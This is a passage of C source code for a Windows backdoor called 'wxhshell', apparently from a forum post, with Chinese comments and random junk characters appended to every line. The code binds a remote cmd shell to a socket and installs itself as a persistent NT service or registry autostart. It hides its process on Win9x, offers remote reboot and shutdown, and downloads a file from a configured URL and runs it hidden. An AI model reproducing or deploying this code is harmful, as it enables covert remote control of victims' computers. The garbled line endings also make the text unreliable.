  3PF_H$`oJ  
  // 帮助 &#i"=\d  
  case '?': { K:WDl;8 (d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MnHNjsO#  
    break; DVeE1Q  
  } o5)<$P43  
  // 安装 f%8C!W]Dm  
  case 'i': { {K!)Ss  
    if(Install()) eszG0Wu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MpOc  
    else 5~S5F3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _tycgq#  
    break; -F3-{E  
    } dQG=G%W  
  // 卸载 dgP3@`YS  
  case 'r': { J9 I:Q<;  
    if(Uninstall()) UGatWj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [<TrS/,)>  
    else og>uj>H&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0IWf!Sk ]  
    break; Kf-JcBsrT  
    } iJ|uvPCE  
  // 显示 wxhshell 所在路径 A<fG}q1#  
  case 'p': { DIUjn;>k8  
    char svExeFile[MAX_PATH]; HOJV,9v N  
    strcpy(svExeFile,"\n\r"); ,iwp,=h=  
      strcat(svExeFile,ExeFile); L4l!96]a  
        send(wsh,svExeFile,strlen(svExeFile),0); o<!?7g{  
    break; |+"(L#wk  
    } D3K8F@d  
  // 重启 =?`c=z3~i$  
  case 'b': { 7o}J%z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FE;x8(;W8  
    if(Boot(REBOOT)) 8a"%0d#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vf1^4 t  
    else { ,v}k{( 16{  
    closesocket(wsh); ?Ss!e$jf  
    ExitThread(0); h@wgd~X9  
    } Jfl!#UAD|n  
    break; <=C?e<Y  
    } 3irl (;v  
  // 关机 yEQs:v6L~  
  case 'd': { FXU8[j0P_G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0C ,`h `  
    if(Boot(SHUTDOWN)) S$X Sei_q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , 9 a  
    else { E&:,oG2M  
    closesocket(wsh); \z} Ic%Tp  
    ExitThread(0); -`6+UkOV[x  
    } ?|Zx!z ($  
    break; Ilm^G}GB  
    } P{^6v=8)  
  // 获取shell Eu04e N  
  case 's': { IV)j1  
    CmdShell(wsh); n '6jou  
    closesocket(wsh); }\k"n{!"  
    ExitThread(0); C$)onk  
    break; x'R`. !g3  
  } _v]MsT-q  
  // 退出 u\nh[1)a)  
  case 'x': { QkC(uS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >b4eL59  
    CloseIt(wsh); r" ,GC]  
    break; 7. ;3e@s  
    } H} g{Cr"Ex  
  // 离开 ~61v5@  
  case 'q': { g eCM<]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r]36z X v  
    closesocket(wsh); nzeX[*  
    WSACleanup(); Owk|@6!  
    exit(1); R{T$[$6S  
    break; .kfI i^z  
        } GR32S=\  
  } /&94 eC  
  } #Mw8^FST  
kMd.h[X~  
  // 提示信息 6!FQzFCZq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %84rL?S  
} D}/vLw:v  
  } Tnm.A?  
ekCC5P!  
  return; V "h +L7T  
} L;I]OC^J  
Q'0d~6n&{  
// shell模块句柄 | %Vh`HT  
int CmdShell(SOCKET sock) @<&m|qtMsz  
{ 7Jho}5J  
STARTUPINFO si; ixD)VcD-f  
ZeroMemory(&si,sizeof(si)); n6a`;0f[R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ r,=vO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {{p7 3 'u  
PROCESS_INFORMATION ProcessInfo; FJP-y5  
char cmdline[]="cmd"; ?.;c$'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \P`hq^;  
  return 0; <W$mj04@  
} }U"&8%PZr  
(JFWna0@  
// 自身启动模式 yaH Zt`Y  
int StartFromService(void) B_m8{44zM  
{ NHZz _a=  
typedef struct kpN)zxfk  
{ V33T+P~j  
  DWORD ExitStatus; $ gS>FJ  
  DWORD PebBaseAddress; ~FG]wNgS  
  DWORD AffinityMask; 5]Y?m'  
  DWORD BasePriority; ]3.;PWa:  
  ULONG UniqueProcessId; fS78>*K  
  ULONG InheritedFromUniqueProcessId; j+  0I-p  
}   PROCESS_BASIC_INFORMATION; b}TS0+TF  
@i IRmQ  
PROCNTQSIP NtQueryInformationProcess; RdR p.pb8  
4u})+2W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q'Tf,a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %aVq+kC h  
|H+UOEiv,p  
  HANDLE             hProcess; PBTnIU  
  PROCESS_BASIC_INFORMATION pbi; ^yN&ZI3P&  
l?n\i]'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g&Vx:fOC  
  if(NULL == hInst ) return 0; 0{}8(  
fSvM(3Y<Qh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >V8-i`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a'yK~;+_9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @>Km_Ax  
Iom'Y@x  
  if (!NtQueryInformationProcess) return 0; 0rs"o-s<  
V#gK$uv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HJ[cM6$2  
  if(!hProcess) return 0; [MM~H0=s  
1JG'%8}#8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L2i_X@/  
w;:*P  
  CloseHandle(hProcess); =ncVnW{  
#r~# I}U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YWO)HsjP  
if(hProcess==NULL) return 0; bI9~jWgGp  
TpwkD_fg  
HMODULE hMod; ^7WN{0  
char procName[255]; kxIF#/8  
unsigned long cbNeeded; a P@N)"  
#rQ2gx4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2E)-M9ds  
,Np0wg0  
  CloseHandle(hProcess); k|PN0&J  
U,{eHe ?>T  
if(strstr(procName,"services")) return 1; // 以服务启动 %axh`xK#  
w(3G&11N?  
  return 0; // 注册表启动 SBk4_J/_  
} u$Jz~:=,  
.|>3k'<l  
// 主模块 ep)n_!$OH"  
int StartWxhshell(LPSTR lpCmdLine) `V)8 QRN(  
{ +`3)oPV)  
  SOCKET wsl; ' ;FnIZ  
BOOL val=TRUE; Ma']?Rb`  
  int port=0; S3*`jF>q  
  struct sockaddr_in door; pG^  
m6\E$;`  
  if(wscfg.ws_autoins) Install(); ~#[yJNYQ  
.K2qXw"S#  
port=atoi(lpCmdLine); n&qg;TT  
;LPfXpR  
if(port<=0) port=wscfg.ws_port; ^Hnb }L  
CMG&7(MR  
  WSADATA data; #3@rS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g-</ua(j  
5o'FS{6U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '/n1IM$7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :W.(S6O(  
  door.sin_family = AF_INET; p\tm:QWD;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kY|utoAP  
  door.sin_port = htons(port); H.|#c^I  
(Ag1 6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FF(#]vz'  
closesocket(wsl); `O!X((  
return 1; K6/Q}W   
} CR`Q#Yi  
RYQR(v  
  if(listen(wsl,2) == INVALID_SOCKET) { t?-n*9,#S  
closesocket(wsl);  +yH7v5W  
return 1; z2_*%S@  
} "ESwA  
  Wxhshell(wsl); Ky!Y"   
  WSACleanup(); c%2QZC  
~Z?TFg  
return 0; Xq]w<$  
Fa Qe_;  
} b_#m}yZ6  
 gmO!  
// 以NT服务方式启动 9`A;U|~E@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H z1%x  
{ t?x<g<PJ4  
DWORD   status = 0; rq/yD,I,  
  DWORD   specificError = 0xfffffff; r6MMCJ|G  
3G)#5 Lf<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7u S~MW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?GoR^p #p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l|~A#kq  
  serviceStatus.dwWin32ExitCode     = 0; \K{0L  
  serviceStatus.dwServiceSpecificExitCode = 0; 9N%We|L,c  
  serviceStatus.dwCheckPoint       = 0; n.`($yR_  
  serviceStatus.dwWaitHint       = 0; 7$vYo _  
'KS,'%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nQX:T;WL@  
  if (hServiceStatusHandle==0) return; uk< 4+x,2)  
8 S:w7Hr  
status = GetLastError(); &Fzb6/  
  if (status!=NO_ERROR) B:;pvW]  
{ 8>2.UrC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j9x<Y]  
    serviceStatus.dwCheckPoint       = 0; fcRxp{*zO  
    serviceStatus.dwWaitHint       = 0; 'RQ+g}|Ba!  
    serviceStatus.dwWin32ExitCode     = status; [LjT*bi  
    serviceStatus.dwServiceSpecificExitCode = specificError; zl>nSndRE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !*F1q|R  
    return; W#4 7h7M  
  } @;zl  
\ =?a/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fNli  
  serviceStatus.dwCheckPoint       = 0; Xtq_y'I  
  serviceStatus.dwWaitHint       = 0; l6T-}h:=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *v jmy/3  
} 2\A$6N ;_  
UUYSFa %  
// 处理NT服务事件,比如:启动、停止 g|DF[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N=T<_`$5  
{ U3ADsdn  
switch(fdwControl) Cx(>RXVoJ,  
{ Fh?gNSWq6  
case SERVICE_CONTROL_STOP: ??-[eB.  
  serviceStatus.dwWin32ExitCode = 0; 0U(@= 7V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {3>$[bT  
  serviceStatus.dwCheckPoint   = 0; Ga-k  
  serviceStatus.dwWaitHint     = 0; :j9l"5"  
  { ~rE|%o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -j# 2}[J7  
  } 1y4|{7bb  
  return; }W C[$Y_@  
case SERVICE_CONTROL_PAUSE: n Mq,F#`3N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KVoS C @w  
  break; $B 2J T9  
case SERVICE_CONTROL_CONTINUE: o8V5w!+#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?(' wn<  
  break; GfxZ'VIn  
case SERVICE_CONTROL_INTERROGATE: fa jGZyd0:  
  break; |B?m,U$A!  
}; X:f UI4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h0*!;Z7  
} u:6Ic)7'  
XV7Ex\D*  
// 标准应用程序主函数 #px+;k 5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VZp5)-!\  
{ !_]Y~[  
d\&U*=  
// 获取操作系统版本 /kZebNf6H  
OsIsNt=GetOsVer(); Dzpq_F!;V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z\\[S@>pt  
gD-d29pQ  
  // 从命令行安装 .9/ hHCp  
  if(strpbrk(lpCmdLine,"iI")) Install(); R$h<<v)%  
7X`g,b!  
  // 下载执行文件 0#7>o^2  
if(wscfg.ws_downexe) { n*R])=F@c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YquI$PV _  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'Cb6Y#6  
} uanhr)Ys  
gDQ^)1k  
if(!OsIsNt) { G)AqbY  
// 如果时win9x,隐藏进程并且设置为注册表启动 %^)fmu  
HideProc(); !j8FIY'[  
StartWxhshell(lpCmdLine); wjU9ZGM  
} GL>O4S<`  
else afCW(zH p  
  if(StartFromService()) yJ[0WY8<kC  
  // 以服务方式启动 QGMV}y  
  StartServiceCtrlDispatcher(DispatchTable); <O(4TO  
else \0^Kram>  
  // 普通方式启动 $P >  
  StartWxhshell(lpCmdLine); fF!Yp iI"  
h/QXPdV  
return 0; !4ocZmj\  
}
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只看该作者 1 发表于: 2006-10-10
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